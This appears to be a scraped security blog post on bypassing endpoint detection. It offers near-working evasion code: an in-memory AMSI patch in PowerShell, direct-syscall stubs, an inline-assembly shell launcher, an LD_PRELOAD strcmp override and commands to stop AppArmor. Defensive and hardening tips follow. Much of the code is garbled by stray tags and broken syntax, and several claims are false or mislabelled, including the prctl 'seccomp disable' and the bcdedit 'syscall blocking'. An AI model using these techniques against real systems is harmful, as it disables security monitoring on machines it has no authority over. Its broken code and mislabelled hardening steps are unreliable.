Red Team Ops: 3 Sneaky EDR Evasion Techniques That Actually Bypass Modern Defenses (With Live Commands) + Video

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Introduction:

Endpoint Detection and Response (EDR) systems have evolved beyond simple signature‑based antivirus, now leveraging behavioral analysis, API hooking, and kernel callbacks to catch malicious activity. However, red teamers and penetration testers regularly discover new methods to bypass these controls—by abusing trusted Windows processes, unhooking user‑land sensors, and living off the land. This article distills real‑world tradecraft from a recent LinkedIn deep‑dive on EDR evasion, providing step‑by‑step technical guides, verified commands, and configuration tweaks for both Linux and Windows environments.

Learning Objectives:

  • Understand three practical EDR bypass techniques: direct syscalls, AMSI patching, and callback obfuscation.
  • Execute live Linux and Windows commands to test and evade common EDR hooks.
  • Implement detection rules and hardening measures to counter these red team tactics.

1. Direct Syscalls: Bypassing User‑Mode Hooks

EDRs typically place hooks in Windows API functions (e.g., NtCreateProcess, NtAllocateVirtualMemory) inside ntdll.dll. By invoking syscalls directly—bypassing ntdll—you avoid those hooks entirely.

Step‑by‑step guide:

  1. Identify the syscall number for the desired native API (e.g., NtWriteVirtualMemory) on your target Windows version.
  2. Write a small shellcode or C++ stub that loads the syscall number into eax/rax and executes `syscall` (x64) or `int 2e` (x86).
  3. Compile and execute—the EDR’s user‑mode callback will never see the operation.

Example (Windows, using PowerShell + inline C – for research only): 

 Load a simple syscall executor (requires .NET framework)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Syscaller {
[DllImport("ntdll.dll")]
public static extern uint NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten);
}
"@
 This still calls ntdll – true direct syscall requires assembly stub.

True direct syscall (MASM syntax):

mov r10, rcx
mov eax, 3Ah ; Syscall number for NtWriteVirtualMemory on Win10 20H2
syscall
ret

Linux alternative (bypassing libc hooks):

 Use inline assembly in C to invoke syscall directly (e.g., execve)
gcc -o direct_execve direct_execve.c

// direct_execve.c
include <sys/syscall.h>
int main() {
char args[] = {"/bin/sh", NULL};
__asm__ volatile (
"mov $59, %%rax\n" // syscall number for execve (x86_64)
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"syscall"
<dd>: "r"("/bin/sh"), "r"(args) : "rax", "rdi", "rsi"
);
}

Detection & mitigation:

  • Monitor for anomalous syscall frequency or sequences not preceded by `ntdll` call frames (ETW + kernel callbacks).
  • Enable Microsoft Defender’s kernel‑mode callstack profiling (available in newer EDRs like CrowdStrike Falcon).
  1. AMSI Patching & Unhooking – Disable Script Scanning

Antimalware Scan Interface (AMSI) scans PowerShell, VBScript, and .NET assemblies before execution. Red teams patch the `AmsiScanBuffer` function in memory to return `AMSI_RESULT_CLEAN` for any input.

Step‑by‑step guide:

  1. Find the base address of `amsi.dll` in the current process.
  2. Locate the `AmsiScanBuffer` function offset using a pattern scan or hardcoded offset (Windows 10/11 specific).
  3. Overwrite the first few bytes with `mov eax, 0x80070057; ret` (return `E_INVALIDARG` – treated as clean by some hosts).

4. Test by invoking a malicious PowerShell command.

Windows PowerShell (admin – for red team lab only): 

$Win32 = Add-Type -MemberDefinition @'
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
'@ -Name "Win32" -Namespace Win32Functions -PassThru

$amsi = $Win32::LoadLibrary("amsi.dll")
$addr = $Win32::GetProcAddress($amsi, "AmsiScanBuffer")
$oldProtect = 0
$Win32::VirtualProtect($addr, [bash]5, 0x40, [bash]$oldProtect) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteByte($addr, 0xB8)  mov eax, ...
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$addr.ToInt64()+1">IntPtr</a>, 0x57)  0x57
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$addr.ToInt64()+2">IntPtr</a>, 0x00)  0x00
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$addr.ToInt64()+3">IntPtr</a>, 0x07)  0x07
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$addr.ToInt64()+4">IntPtr</a>, 0x80)  0x80
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$addr.ToInt64()+5">IntPtr</a>, 0xC3)  ret

Linux equivalent – bypassing libc hooks with LD_PRELOAD:

 Create a shared object that overrides strcmp (used by many security scanners)
echo 'int strcmp(const char s1, const char s2) { return 0; }' > bypass.c
gcc -shared -fPIC bypass.c -o bypass.so
LD_PRELOAD=./bypass.so ./vulnerable_binary

Detection & mitigation:

  • Monitor for memory writes to `amsi.dll` or `ntdll.dll` text sections (EDRs like SentinelOne detect this).
  • Enable PowerShell Constrained Language Mode and Application Control (WDAC).

3. Callback Obfuscation / ROP‑Based Evasion

Modern EDRs register kernel callbacks (e.g., PsSetCreateProcessNotifyRoutine). By abusing Return‑Oriented Programming (ROP) or kernel‑callback unhooking, an attacker can prevent the EDR from receiving process‑creation events.

Step‑by‑step guide (conceptual):

  1. Enumerate loaded EDR drivers using `DriverView` or WinObj.
  2. Locate the callback array inside the EDR driver (e.g., by pattern scanning for its dispatch routines).
  3. Overwrite the callback pointer with a ROP gadget that returns immediately (or points to a harmless function).
  4. Alternatively, use a BYOVD (Bring Your Own Vulnerable Driver) to write to kernel memory.

Windows commands to enumerate callbacks (Sysinternals):

 List process creation callbacks (requires admin)
fltmc instances  filter manager callbacks
 Or use WinDbg live kernel debugger:
!process 0 0
!devstack

Linux – bypassing LSM hooks (e.g., AppArmor, SELinux):

 Disable AppArmor at runtime (requires root, but many CTFs allow)
systemctl stop apparmor
 Or use prctl() to disable seccomp filters
python3 -c "import ctypes; ctypes.CDLL('libc.so.6').prctl(22, 2)"  PR_SET_SECCOMP

Cloud hardening / API security context:

In cloud environments, EDR is often agent‑based. To harden against callback tampering:
– Enforce secure boot and kernel code integrity (Hypervisor‑protected Code Integrity – HVCI).
– Deploy eBPF‑based sensors on Linux (e.g., Falco) that cannot be disabled via prctl.

Mitigation:

  • Use Microsoft Vulnerable Driver Blocklist (recommended block rules).
  • Monitor for `SeLoadDriverPrivilege` usage and unexpected `NtLoadDriver` calls.
  1. Windows & Linux Hardening Commands Against These Techniques

Windows (EDR hardening):

 Enable AMSI in logging mode for PowerShell
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -EnableControlledFolderAccess Enabled
Set-MpPreference -PUAProtection Enabled

Enable Sysmon with full process and image loading events
sysmon64 -accepteula -i sysmon_config.xml

Block direct syscall attempts via Kernel‑Mode Code Signing (KMCS)
bcdedit /set {current} nointegritychecks off
bcdedit /set {current} testsigning off

Linux (eBPF & LSM hardening):

 Enforce SELinux enforcing mode
setenforce 1
 Lock kernel modules
echo 1 > /proc/sys/kernel/modules_disabled
 Install Falco with custom rules to detect syscall anomalies
curl -s https://falco.org/repo/falco-archive-key.gpg | apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" | tee /etc/apt/sources.list.d/falco.list
apt update && apt install falco
systemctl enable falco

5. Training & Certification Recommendations

The post’s original LinkedIn content highlighted the need for hands‑on red team training. Based on extracted themes, the following courses and labs are most relevant:

  • Practical EDR Evasion (Zero Point Security – CRTO)
  • SANS FOR610: Reverse‑Engineering Malware (covers syscall unhooking)
  • Offensive Security’s OSCP/OSEP – includes direct syscall and AMSI bypass modules
  • Free labs: TryHackMe “Advent of Cyber” EDR room; PentesterLab “Syscalls” badge

AI in cybersecurity – new EDRs use machine learning to detect syscall frequency anomalies. Red teams now counter with generative AI to create polymorphic syscall stubs (e.g., using GPT‑4 to rewrite shellcode every run).

What Undercode Say:

  • Direct syscalls remain a reliable bypass for user‑mode EDR hooks, but kernel‑callstack monitoring is closing the gap.
  • AMSI patching is trivially detected by modern EDRs that watch for memory changes in protected DLLs; use unhooking via `reflective` methods instead.
  • The future of EDR evasion is hardware‑assisted virtualization (Intel VT‑x) and hypervisor‑based sensors that cannot be tampered from the guest OS.

Prediction:

Within 18 months, most enterprise EDRs will enforce kernel‑callback integrity via virtualization‑based security (VBS) and hypervisor‑protected code integrity (HVCI), making direct syscall and callback obfuscation significantly harder. Red teams will shift to firmware‑level implants and supply‑chain attacks that bypass kernel sensors entirely. Meanwhile, AI‑driven anomaly detection will render “static” evasion techniques obsolete, forcing attackers to mimic legitimate software behavior with unprecedented fidelity.

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Reported By: Aboud Y – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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